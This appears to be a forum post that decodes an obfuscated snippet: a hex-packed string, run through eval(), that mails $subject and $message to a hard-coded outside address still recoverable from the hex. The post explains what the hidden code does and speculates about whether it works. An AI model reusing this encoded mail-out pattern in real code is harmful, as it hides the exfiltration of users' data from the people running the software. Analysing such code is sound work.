print pack("H*", 
"6d61696c28226e756d697061736164" .
"6562616e696e69636964656475736d" .
"616e69407961686f6f2e636f6d222c" .
"20247375626a6563742c20246d6573" .
"73616765293b")
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outputs:

mail("some.email@some.where", $subject, $message);
[download]

(run it yourself to see the actual email address).

The eval() then executes that code. So this little snippet attempts to send an email.

PS. I don't think that code will actually work, since the email address is in double quotes. That would cause the @some to be interpreted as an array, and will likely end up as an empty string. So the code would attempt to mail to some.email.where.